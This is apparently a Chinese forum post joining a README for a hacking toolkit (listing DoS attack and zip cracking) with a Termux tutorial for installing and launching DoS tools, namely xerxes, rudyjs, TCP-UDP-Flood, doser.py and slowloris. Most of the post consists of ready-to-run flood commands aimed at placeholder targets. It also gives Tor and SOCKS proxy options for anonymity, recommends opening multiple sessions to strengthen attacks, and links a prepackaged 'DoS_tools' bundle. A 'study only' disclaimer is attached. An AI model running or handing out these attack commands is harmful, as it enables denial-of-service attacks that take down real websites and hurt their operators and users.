运行环境安装
Termux
1.Termux可依次运行以下指令进行安装
apt install python
apt install git
git clone https://github.com/yourmoln/moligeek.git
2.安装完成后可用以下指令运行
python ./moligeek/main.py
3.若安装过程出现意外,请使用以下指令换源后重新尝试以上指令
sed -i 's@^\(deb.*stable main\)$@#\1\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main@' $PREFIX/etc/apt/sources.list
apt update && apt upgrade
Windows
在本仓库的releases下载windows版本的moligeek(推荐),或者选择以下做法进行安装
可前往Python官网下载: 官网
如果Windows版本高于16299(Windows 10 1709)并且软件包安装程序为最新版本,可尝试使用Winget命令安装Python
winget install Python.Python.3.10
Linux
Debian & Ubuntu
apt install python
CentOS
yum install python
使用需求
安装脚本
安装步骤
git clone https://github.com/yourmoln/moligeek.git
运行脚本
如何运行
python ./moligeek/main.py
请在项目根目录下运行该指令
现有功能
下载源码
提交表单
后台扫描
dos攻击
zip破解
密文处理
持续更新中...
开发环境
python
依赖
请在requirements.txt查看
ps:脚本运行时会自动安装缺失依赖
如何参与开源项目
贡献使开源社区成为一个学习、激励和创造的绝佳场所。你所作的任何贡献都是非常感谢的。
Fork the Project
Create your Feature Branch
Commit your Changes
Push to the Branch
Open a Pull Request
作者
yourmoln
qq交流群:564136017
您也可以在贡献者名单中参看所有参与该项目的开发者。
版权说明
该项目签署了Apache-2.0 授权许可,详情请参阅 LICENSE.txt
警告:本教程及恢复包仅做学习研究使用,切勿用于非法用途,不要攻击正规网站哦,一切后果自负
打开 Termux 按顺序输入以下内容:
pkg update && pkg upgrade -y
pkg install git nmap clang python nodejs -y
git clone https://github.com/baraalmasri/xerxes
cd ~/xerxes
gcc xerxes.c -o xerxes
cd ~
git clone https://github.com/sahilchaddha/rudyjs.git
npm install -g rudyjs
git clone https://github.com/Leeon123/TCP-UDP-Flood.git
git clone https://github.com/Quitten/doser.py
pip install requests
git clone https://github.com/gkbrk/slowloris.git
nmap 域名或IP地址
#如
nmap www.xxxxx.com
#或者
nmap 10.0.0.2
#回车扫描指定网站主机端口,输出结果如下:
PORT    STATE  SERVICE
53/tcp   closed  domain
80/tcp   open    http
443/tcp  open    https
8000/tcp filtered http-alt
#根据扫描结果
Http网站端口号:80,8000   
Https网站端口号:443
1.xerxes
cd ~/xerxes
./xerxes 域名或IP地址 端口号
#如
./xerxes www.xxxxx.com 443
#或者
./xerxes 10.0.0.2 443
#回车开始对指定网站主机端口发起 DoS 攻击
2.rudyjs
#解释:
rudy
-t 攻击目标网址
-l 有效负载的大小 (单位 Bytes) 默认 1048576 Bytes (1 Mb)
-n 最大连接数
-m HTTP 请求方式,默认 POST
-d 发送的每个字节之间的延迟 (单位 秒)
-v 启用详细日志
-p 使用 Tor 代理匿名攻击
-u Tor 代理服务器IP地址
-o Tor 代理服务器端口
#如
rudy -t https://www.xxxxx.com:8000 -d 5 -n 500 -m GET
rudy -t https://www.xxxxx.com:8000 -d 5 -n 500 -m POST
#或者
rudy -t https://10.0.0.2:8000 -d 5 -n 500 -m GET
rudy -t https://10.0.0.2:8000 -d 5 -n 500 -m POST
#回车开始对指定网站主机端口发起 DoS 攻击
3.TCP-UDP-Flood
cd ~/TCP-UDP-Flood
#解释:
域名/IP地址:10.0.0.2
端口号:80
UDP 数据包(是/否):否
每个连接发送的数据包数:50
线程数:10
#如
Host/Ip:www.xxxxx.com
#或者
Host/Ip:10.0.0.2
Port:80
UDP(y/n):n
Packets per one connection:50
Threads:10
#回车开始对指定网站主机端口发起 DoS 攻击
4.doser.py
cd ~/doser.py
#解释:
python doser.py
-g 指定GET请求。 用法:-g 网址
-p 指定POST请求。 用法:-p 网址
-d 为 POST 请求指定数据有效负载
-ah 指定附加的标头 (header)
-t 指定要使用的线程数
#如
python doser.py -t 999 -g https://www.xxxxx.com:8000
python doser.py -t 999 -p https://www.xxxxx.com:8000
#或者
python doser.py -t 999 -p https://10.0.0.2:8000
python doser.py -t 999 -g https://10.0.0.2:8000
#回车开始对指定网站主机端口发起 DoS 攻击
5.slowloris
cd ~/slowloris
#解释:
python slowloris.py 域名或IP地址
-p 端口号
-s 需要使用的套接字总数
-v 增加日志记录
-ua 对每个请求使用随机化用户代理 UA 标识
-x 使用 SOCKS5 代理进行连接
--proxy-host 代理服务器IP地址
--proxy-port 代理服务器端口
--https 对请求使用 HTTPS
--sleeptime 发送的每个标头之间的睡眠时间
#如
python slowloris.py www.xxxxx.com -p 80 -ua -s 9999 --sleeptime 5
python slowloris.py www.xxxxx.com -p 443 -ua -s 9999 --sleeptime 5 --https
#或者
python slowloris.py 10.0.0.2 -p 80 -ua -s 9999 --sleeptime 5
python slowloris.py 10.0.0.2 -p 443 -ua -s 9999 --sleeptime 5 --https
#回车开始对指定网站主机端口发起 DoS 攻击
下面是本人恢复包的使用说明:
网盘链接:
https://cloud.189.cn/t/36Fj6r3YbMfu
1.安装 ZeroTermux,并手动开启储存权限
2.下载 DoS_tools 恢复包 (.gz文件),将恢复包文件移动至 手机储存/xinhao/data/ 目录下
3.打开 ZeroTermux,进入终端
4.右划打开菜单,选第三个备份/恢复
5.点恢复,找到 DoS_tools 恢复包 (.gz文件),确定恢复
6.如果显示“没有系统目录,请建立”,然后自动生成一条命令,请按回车键
7.重复4,5步,输入自定义容器名称,开始恢复 (此过程不得切屏,请保持软件前台)
8.恢复完成,重进,右划菜单找到切换系统,切换到自定义名称容器,再次重进。
9.进入终端输入:
nmap www.xxxxx.com
#扫描指定网站端口
ls
#输出:
TCP-UDP-Flood  doser.py  rudyjs  slowloris  storage  xerxes
cd 复制需要使用的 DoS 工具文件夹名
#如
cd xerxes
./xerxes www.xxxxx.com 80
#回车开始攻击指定网站
#可以左滑调出菜单,建立多个新会话同时攻击,加大攻击力度
#按 CTRL + C 停止攻击
#输入 cd 返回主目录
xerxes扫描攻击演示
xerxes正在攻击
建立多个新会话同时攻击
rudyjs使用说明
rudyjs攻击演示
rudyjs正在攻击
TCP-UDP-Flood攻击演示
TCP-UDP-Flood正在攻击
doser.py 攻击演示 (POST)
doser.py 攻击演示 (GET)
slowloris攻击演示 |
使用道具 举报